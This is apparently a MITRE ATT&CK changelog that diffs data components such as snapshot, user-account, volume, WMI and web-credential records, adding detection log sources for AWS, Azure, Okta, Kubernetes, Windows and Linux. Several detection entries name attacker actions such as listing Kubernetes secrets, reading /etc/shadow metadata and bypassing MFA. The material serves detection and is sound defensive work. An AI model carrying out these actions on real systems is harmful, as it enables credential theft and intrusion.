external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0057', 'external_id': 'DC0057'}]
x_mitre_log_sources		[{'name': 'esxi:vmkernel', 'channel': 'snapshot create/write events'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateSnapshot'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/SNAPSHOTS/WRITE'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:08.504000+00:00	2025-10-21 15:14:39.640000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0049] Snapshot Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0049', 'external_id': 'DC0049'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'DeleteSnapshot'}, {'name': 'esxi:hostd', 'channel': 'snapshot.removeall or snapshot file deletion'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:05.200000+00:00	2025-10-21 15:14:39.893000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0047] Snapshot Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0047', 'external_id': 'DC0047'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:18.124000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0062] Snapshot Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0062', 'external_id': 'DC0062'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'DescribeSnapshots'}, {'name': 'gcp:audit', 'channel': 'compute.disks.insert with sourceSnapshot parameter'}, {'name': 'AWS:CloudTrail', 'channel': 'CopySnapshot'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:42.387000+00:00	2025-10-21 15:14:40.482000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0058] Snapshot Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0058', 'external_id': 'DC0058'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'ModifySnapshotAttribute'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:15:11.682000+00:00	2025-10-21 15:14:39.957000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0052] Social Media

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0052', 'external_id': 'DC0052'}]
x_mitre_log_sources		[{'name': 'Persona', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--3bef4799-906c-409c-ac00-3fb7a1e352e6

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:16:50.453000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0002] User Account Authentication

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0002', 'external_id': 'DC0002'}]
x_mitre_log_sources		[{'name': 'User Account', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'TGS-REQ and AS-REQ seen for new user shortly after domain-modifying process'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625'}, {'name': 'saas:okta', 'channel': 'session.impersonation.start'}, {'name': 'Okta:SystemLog', 'channel': 'eventType: user.authentication.sso, app.oauth2.token.grant'}, {'name': 'azure:signinlogs', 'channel': 'Success logs from high-risk accounts'}, {'name': 'networkdevice:syslog', 'channel': 'config access, authentication logs'}, {'name': 'ESXiLogs:authlog', 'channel': 'Unexpected login followed by encoding commands'}, {'name': 'saas:okta', 'channel': 'Unusual OAuth app requesting message-read scopes for Slack/Teams/Jira'}, {'name': 'NSM:Connections', 'channel': 'Accepted password or publickey for user from remote IP'}, {'name': 'macos:unifiedlog', 'channel': 'successful sudo or authentication for account not normally associated with admin actions'}, {'name': 'esxi:vpxa', 'channel': 'user login from unexpected IP or non-admin user role'}, {'name': 'm365:signin', 'channel': 'Sign-in from anomalous location or impossible travel condition'}, {'name': 'networkdevice:syslog', 'channel': 'User privilege escalation to level 15/root prior to destructive commands'}, {'name': 'networkdevice:syslog', 'channel': 'authorization/accounting logs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769,1200,1202'}, {'name': 'linux:syslog', 'channel': 'sudo/date/timedatectl execution by non-standard users'}, {'name': 'saas:audit', 'channel': 'Repeated requests to SMS-generating endpoints using anomalous or new user agents, IP ranges, or geographies.'}, {'name': 'azure:signinlogs', 'channel': 'Multiple MFA challenge requests without successful primary login'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole or ConsoleLogin with repeated MFA failures followed by repeated MFA requests'}, {'name': 'auditd:AUTH', 'channel': 'pam_unix or pam_google_authenticator invoked repeatedly within short interval'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4768, 4769, 4770'}, {'name': 'NSM:Connections', 'channel': 'Repeated failed authentication attempts or replay patterns'}, {'name': 'azure:signinlogs', 'channel': 'TokenIssued, TokenRenewed: Unexpected or anomalous token issuance events'}, {'name': 'azure:signinlogs', 'channel': 'SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times'}, {'name': 'AWS:CloudTrail', 'channel': 'sts:GetFederationToken'}, {'name': 'm365:unified', 'channel': 'Delegated permission grants without user login event'}, {'name': 'saas:salesforce', 'channel': 'API login using access_token without login history'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRoleWithWebIdentity'}, {'name': 'azure:signinlogs', 'channel': 'Operation=UserLogin'}, {'name': 'esxi:auth', 'channel': 'interactive shell or SSH access preceding storage enumeration'}, {'name': 'NSM:Connections', 'channel': 'Successful login without expected MFA challenge'}, {'name': 'macos:unifiedlog', 'channel': 'Login success without MFA step'}, {'name': 'kubernetes:apiserver', 'channel': 'get/list requests to /api/v1/secrets or /api/v1/namespaces/*/serviceaccounts'}, {'name': 'auditd:SYSCALL', 'channel': 'pam_authenticate, sshd'}, {'name': 'macos:unifiedlog', 'channel': 'log show --predicate \'eventMessage contains "Authentication"\''}, {'name': 'esxi:vpxd', 'channel': '/var/log/vmware/vpxd.log'}, {'name': 'azure:signinlogs', 'channel': 'Unusual Token Usage or Application Consent'}, {'name': 'networkdevice:syslog', 'channel': 'Failed and successful logins to network devices outside approved admin IP ranges'}, {'name': 'azure:signinlogs', 'channel': 'OperationName=SetDomainAuthentication OR Set-FederatedDomain'}, {'name': 'network:auth', 'channel': 'repeated successful authentications with previously unknown accounts or anomalous password acceptance'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in with unfamiliar location/device + portal navigation'}, {'name': 'm365:signinlogs', 'channel': 'UserLoginSuccess'}, {'name': 'saas:salesforce', 'channel': 'Login'}, {'name': 'networkdevice:syslog', 'channel': 'Privileged login followed by destructive format command'}, {'name': 'networkdevice:syslog', 'channel': 'admin login events'}, {'name': 'networkdevice:syslog', 'channel': 'Privileged login followed by destructive command sequence'}, {'name': 'azure:signinlogs', 'channel': 'Login from newly created account'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of ssh, scp, or sftp using previously unseen credentials or keys'}, {'name': 'm365:unified', 'channel': 'login using refresh_token with no preceding authentication context'}, {'name': 'saas:googleworkspace', 'channel': 'API access without user login'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4625'}, {'name': 'azure:signinlogs', 'channel': 'Interactive/Non-Interactive Sign-In'}, {'name': 'AWS:CloudTrail', 'channel': 'AWS IAM: ListUsers, ListRoles'}, {'name': 'gcp:workspaceaudit', 'channel': 'Token Generation via Domain Delegation'}, {'name': 'm365:signinlogs', 'channel': 'Unusual sign-in from service principal to user mailbox'}, {'name': 'macos:unifiedlog', 'channel': 'User credential prompt events without associated trusted installer package'}, {'name': 'linux:auth', 'channel': 'sshd login'}, {'name': 'saas:googleworkspace', 'channel': 'Accessed third-party credential management service'}, {'name': 'azure:signinlogs', 'channel': 'Reset password or download key from portal'}, {'name': 'linux:syslog', 'channel': 'SSH failed login'}, {'name': 'macos:unifiedlog', 'channel': 'Login failure / authorization denied'}, {'name': 'azure:signinlogs', 'channel': 'status = failure'}, {'name': 'Okta:authn', 'channel': 'authentication_failure'}, {'name': 'saas-app:auth', 'channel': 'login_failure'}, {'name': 'networkdevice:syslog', 'channel': 'AAA, RADIUS, or TACACS authentication'}, {'name': 'kubernetes:apiserver', 'channel': 'authentication.k8s.io/v1beta1'}, {'name': 'm365:exchange', 'channel': 'Logon failure'}, {'name': 'AWS:CloudTrail', 'channel': 'eventName=ConsoleLogin \| eventType=AwsConsoleSignIn'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625, 4624'}, {'name': 'auditd:USER_LOGIN', 'channel': 'USER_AUTH'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in logs'}, {'name': 'macos:unifiedlog', 'channel': 'auth'}, {'name': 'm365:unified', 'channel': 'Sign-in logs'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin or AssumeRole'}, {'name': 'esxi:auth', 'channel': '/var/log/auth.log'}, {'name': 'networkdevice:syslog', 'channel': 'authentication logs'}, {'name': 'azure:signinlogs', 'channel': 'SigninSuccess'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625, 4771, 4648'}, {'name': 'linux:syslog', 'channel': 'Failed password for invalid user'}, {'name': 'macos:unifiedlog', 'channel': 'Login Window and Authd errors'}, {'name': 'azure:signinlogs', 'channel': 'Failure Reason + UserPrincipalName'}, {'name': 'saas:okta', 'channel': 'authentication_failure'}, {'name': 'networkdevice:syslog', 'channel': 'AAA or TACACS authentication failures'}, {'name': 'kubernetes:audit', 'channel': 'Failed login'}, {'name': 'm365:exchange', 'channel': 'FailedLogin'}, {'name': 'saas:auth', 'channel': 'signin_failed'}, {'name': 'saas:googleworkspace', 'channel': 'login with reused session token and mismatched user agent or IP'}, {'name': 'saas:googleworkspace', 'channel': 'Access via OAuth credentials with unusual scopes or from anomalous IPs'}, {'name': 'networkdevice:syslog', 'channel': 'authentication & authorization'}, {'name': 'WinEventLog:Security', 'channel': '4624, 4625'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in activity'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin, AssumeRole, ListAccessKeys, CreateUser'}, {'name': 'gcp:audit', 'channel': 'drive.activity'}, {'name': 'gcp:audit', 'channel': 'login.event'}, {'name': 'linux:syslog', 'channel': 'sshd[pid]: Failed password'}, {'name': 'macos:unifiedlog', 'channel': 'authd'}, {'name': 'networkdevice:syslog', 'channel': 'login failed'}, {'name': 'GCPAuditLogs:login.googleapis.com', 'channel': 'Failed sign-in events'}, {'name': 'esxi:auth', 'channel': 'SSH session/login'}, {'name': 'WinEventLog:Security', 'channel': 'EventID=4625'}, {'name': 'NSM:Connections', 'channel': 'sshd or PAM logins'}, {'name': 'saas:okta', 'channel': 'Sign-in logs / audit events'}, {'name': 'gcp:audit', 'channel': 'Sign-in logs / audit events'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in logs / audit events'}, {'name': 'kubernetes:audit', 'channel': 'authentication.k8s.io'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4648'}, {'name': 'linux:syslog', 'channel': 'authentication and authorization events during environmental validation phase'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:09:42.067000+00:00	2025-10-21 15:14:34.948000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0014] User Account Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0014', 'external_id': 'DC0014'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Security', 'channel': 'EventCode=4720'}, {'name': 'azure:audit', 'channel': 'Add user'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateUser'}, {'name': 'saas:zoom', 'channel': 'New user created'}, {'name': 'saas:slack', 'channel': 'admin.user.create'}, {'name': 'm365:unified', 'channel': 'Add user'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4720, EventCode=4781'}, {'name': 'auditd:SYSCALL', 'channel': 'adduser'}, {'name': 'docker:daemon', 'channel': 'ExecCreate + usermod or useradd'}, {'name': 'auditd:SYSCALL', 'channel': 'useradd or adduser executed'}, {'name': 'networkdevice:syslog', 'channel': 'username privilege '}, {'name': 'saas:okta', 'channel': 'user.lifecycle.create'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:09:54.515000+00:00	2025-10-21 15:14:34.784000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0009] User Account Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0009', 'external_id': 'DC0009'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Security', 'channel': 'EventCode=4726, 4657'}, {'name': 'esxi:hostd', 'channel': 'method=RemoveUser or esxcli system account remove invocation'}, {'name': 'm365:unified', 'channel': 'Remove-Mailbox, Set-Mailbox'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:09:57.711000+00:00	2025-10-21 15:14:36.864000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0013] User Account Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0013', 'external_id': 'DC0013'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Security', 'channel': 'EventCode=4720, 4738'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4673'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole'}, {'name': 'auditd:SYSCALL', 'channel': 'open,openat,read'}, {'name': 'macos:MDM', 'channel': 'profiles -P\|getaccountpolicies'}, {'name': 'AWS:CloudTrail', 'channel': 'GetAccountPasswordPolicy'}, {'name': 'azure:audit', 'channel': "operation contains 'GetPasswordPolicy' OR 'ListAuthenticationPolicy' OR 'Get-ADDefaultDomainPasswordPolicy'"}, {'name': 'm365:unified', 'channel': "Workload=AzureActiveDirectory OR Exchange AND (Operation=Cmdlet AND Parameters contains 'Password' AND (CmdletName='Get-*' OR CmdletName='Get-OrganizationConfig'))"}, {'name': 'saas:auth', 'channel': 'Refresh token issuance or refresh token usage from new IPs or user agents'}, {'name': 'gcp:audit', 'channel': 'Directory API Access: users.list or groups.list'}, {'name': 'CloudTrail:GetCallerIdentity', 'channel': 'GetCallerIdentity'}, {'name': 'vpxd.log', 'channel': 'vCenter Management'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of user account with UID <500'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4674'}, {'name': 'windows:osquery', 'channel': 'User enumeration with creation/last modified timestamps'}, {'name': 'linux:osquery', 'channel': 'Listing of /etc/passwd and /etc/shadow metadata'}, {'name': 'saas:okta', 'channel': 'User lifecycle events'}, {'name': 'Microsoft Entra ID Audit Logs', 'channel': 'RoleManagement.Read.Directory or Directory.Read.All'}, {'name': 'azure:activity', 'channel': 'Azure CLI Operation: Microsoft.Graph/users/read'}, {'name': 'gcp:audit', 'channel': 'IAM API call: serviceAccounts.list or projects.getIamPolicy'}, {'name': 'Microsoft Graph API Logs', 'channel': 'users.list, directoryObjects.getByIds'}, {'name': 'Defender for Identity', 'channel': 'Suspicious Enumeration of Cloud Directory'}, {'name': 'Google Admin Audit', 'channel': 'users.list, groups.list'}, {'name': 'AWS:CloudTrail', 'channel': 'PassRole'}, {'name': 'gcp:iam', 'channel': 'PrincipalEmail with serviceAccountTokenCreator impersonating new identity'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole: Discovery actions tied to assumed identities outside of normal context'}, {'name': 'saas:okta', 'channel': 'User Enumeration Events'}, {'name': 'gcp:audit', 'channel': 'Directory API Access'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:17.060000+00:00	2025-10-21 15:14:38.578000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0010] User Account Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0010', 'external_id': 'DC0010'}]
x_mitre_log_sources		[{'name': 'azure:audit', 'channel': 'Operation IN ("Add device", "Add registered users to device", "Add registered owner to device")'}, {'name': 'WinEventLog:DirectoryService', 'channel': 'EventID 5136'}, {'name': 'linux:syslog', 'channel': 'sudo or su access prior to content change'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4738, 4728, 4670'}, {'name': 'auditd:SYSCALL', 'channel': 'usermod, groupmod, passwd'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.accountsd, com.apple.opendirectoryd'}, {'name': 'saas:okta', 'channel': 'User Attribute Modified / Role Assignment Changed'}, {'name': 'm365:unified', 'channel': 'Admin Activity > Role Change or Sharing Change'}, {'name': 'gcp:audit', 'channel': 'Admin Activity > Role Change or Sharing Change'}, {'name': 'm365:unified', 'channel': 'Set-ADUser OR Set-ADAccountControl'}, {'name': 'AWS:CloudTrail', 'channel': 'UpdateLoginProfile'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4723, 4724, 4726, 4740'}, {'name': 'saas:okta', 'channel': 'user.lifecycle.delete, user.account.lock'}, {'name': 'm365:unified', 'channel': 'User excluded from MFA or MFA method registered'}, {'name': 'saas:zoom', 'channel': 'DisableMFA or RegisterNewFactor'}, {'name': 'AWS:CloudTrail', 'channel': 'AttachUserPolicy, CreatePolicyVersion, PutRolePolicy'}, {'name': 'gcp:audit', 'channel': 'google.iam.admin.v1.RoleAssignment'}, {'name': 'm365:audit', 'channel': 'Add member to role, Add app role assignment'}, {'name': 'Okta:SystemLog', 'channel': 'user.account.privilege.grant'}, {'name': 'm365:unified', 'channel': 'Add member to role, Set-Mailbox'}, {'name': 'm365:unified', 'channel': 'Set-MailboxAuditBypassAssociation or disabling Advanced Auditing'}, {'name': 'm365:unified', 'channel': 'New agent registration by non-admin user'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4704'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4728, 4729, 4732, 4733, 4756, 4757'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL for usermod or /etc/group file modification'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution or directory service changes'}, {'name': 'azure:policy', 'channel': 'DisableMfaPolicy or change to ConditionalAccess rules'}, {'name': 'azure:audit', 'channel': 'Add member to role'}, {'name': 'AWS:CloudTrail', 'channel': 'AttachUserPolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateAccessKey'}, {'name': 'azure:signinLogs', 'channel': 'unusual role assumption or elevation path'}, {'name': 'saas:okta', 'channel': 'admin role granted outside approved workflows'}, {'name': 'AWS:CloudTrail', 'channel': 'role privilege expansion detected'}, {'name': 'm365:unified', 'channel': 'Add-MailboxPermission, UpdateFolderPermissions'}, {'name': 'gcp:audit', 'channel': 'Set Gmail Delegation'}, {'name': 'auditd:SYSCALL', 'channel': 'usermod, or account rename system calls'}, {'name': 'azure:audit', 'channel': 'Rename user'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Set-InboxRule, Set-MailboxFolderPermission'}, {'name': 'azure:audit', 'channel': 'Add service principal credentials, app password added, app role assignment'}, {'name': 'gcp:audit', 'channel': 'iam.serviceAccounts.keys.create, os-login.sshPublicKeys.add'}, {'name': 'gcp:audit', 'channel': 'API Key Created, OAuth Client Registered'}, {'name': 'kubernetes:audit', 'channel': 'create or update events for RoleBinding or ClusterRoleBinding objects'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:09:51.231000+00:00	2025-10-21 15:14:36.735000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0097] Volume Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0097', 'external_id': 'DC0097'}]
x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'CreateVolume'}, {'name': 'WinEventLog:Microsoft-Windows-VSS', 'channel': 'Volume Shadow Copy Creation'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:17:19.083000+00:00	2025-10-21 15:14:39.832000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0098] Volume Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0098', 'external_id': 'DC0098'}]
x_mitre_log_sources		[{'name': 'esxi:vmkernel', 'channel': 'file delete\|datastore purge'}, {'name': 'AWS:CloudTrail', 'channel': 'DeleteVolume, ModifyVolume'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:17:25.575000+00:00	2025-10-21 15:14:38.711000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0095] Volume Enumeration

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0095', 'external_id': 'DC0095'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:47.887000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0100] Volume Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0100', 'external_id': 'DC0100'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Security', 'channel': '4673, 4674'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:38.106000+00:00	2025-10-21 15:14:38.841000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0092] Volume Modification

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0092', 'external_id': 'DC0092'}]
x_mitre_log_sources		[{'name': 'kubernetes:apiserver', 'channel': 'Pod spec with hostPath or privileged securityContext'}, {'name': 'AWS:CloudTrail', 'channel': 'ModifyVolume'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:35.774000+00:00	2025-10-21 15:14:39.109000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0008] WMI Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0008', 'external_id': 'DC0008'}]
x_mitre_log_sources		[{'name': 'WinEventLog:WMI', 'channel': 'Creation or modification of __EventFilter, __FilterToConsumerBinding, or CommandLineEventConsumer'}, {'name': 'WinEventLog:Microsoft-Windows-WMI-Activity/Operational', 'channel': 'EventCode=5861'}, {'name': 'WinEventLog:Application', 'channel': 'WMI Object Creation Events'}, {'name': 'WinEventLog:WMI', 'channel': 'EventCode=5857, 5858'}, {'name': 'WinEventLog:Microsoft-Windows-WMI-Activity/Operational', 'channel': 'EventCode=5857, 5860, 5861'}, {'name': 'WinEventLog:WMI', 'channel': 'EventCode=5857, 5860, 5861'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--2cd6cc81-d86e-4595-a4f0-43f5519f14e6

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:16:25.136000+00:00	2025-10-21 15:14:35.880000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0006] Web Credential Creation

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0006', 'external_id': 'DC0006'}]
x_mitre_log_sources		[{'name': 'WinEventLog:ADFS', 'channel': 'Token issuance events showing anomalous claims or issuers'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole, GetFederationToken API calls by unusual or new entities'}, {'name': 'azure:signinLogs', 'channel': 'SAML/OIDC tokens issued without corresponding MFA or password validation'}, {'name': 'm365:unified', 'channel': 'Session creation without MFA or login event'}, {'name': 'm365:oauth', 'channel': 'OAuth grants or tokens issued without expected user consent'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:08.104000+00:00	2025-10-21 15:14:38.777000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0007] Web Credential Usage

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0007', 'external_id': 'DC0007'}]
